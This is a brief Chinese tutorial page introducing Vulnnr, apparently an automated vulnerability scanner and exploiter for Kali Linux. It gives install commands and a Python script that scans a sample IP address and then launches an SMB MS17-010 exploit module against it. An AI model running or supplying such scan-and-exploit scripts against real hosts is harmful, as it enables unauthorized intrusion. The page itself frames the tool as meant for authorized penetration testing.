📅  最后修改于: 2023-12-03 14:48:24.044000             🧑  作者: Mango
Vulnnr是一款在Kali Linux上运行的漏洞扫描程序和自动利用程序,使用Python语言编写。它能够扫描目标计算机中的漏洞,并自动进行利用,获取权限或上传恶意软件等操作。
git clone https://github.com/Vulnnr/Vulnnr.git
cd Vulnnr
pip3 install -r requirements.txt
python3 vulnnr.py
以下代码是使用Vulnnr扫描并攻击目标计算机的简单示例:
import subprocess
# Vulnnr的安装路径
VULNNR_PATH = '/root/Vulnnr'
# 目标计算机的IP地址和操作系统类型
target_ip = '192.168.1.100'
target_os = 'windows'
# Vulnnr的命令行参数,用于扫描目标计算机
scan_command = f'python3 {VULNNR_PATH}/vulnnr.py -t {target_ip} -o {target_os}'
# 执行扫描命令
print(f'Scanning {target_ip}...')
subprocess.run(scan_command, shell=True, check=True)
# Vulnnr的命令行参数,用于攻击目标计算机
exploit_command = f'python3 {VULNNR_PATH}/vulnnr.py -t {target_ip} -o {target_os} -e smb/ms17_010'
# 执行攻击命令
print(f'Exploiting {target_ip}...')
subprocess.run(exploit_command, shell=True, check=True)
Vulnnr是一款功能强大的漏洞扫描程序和自动利用程序,它可以用于评估目标计算机的安全性和进行网络攻击。使用这个工具需要谨慎,仅应用于授权的渗透测试。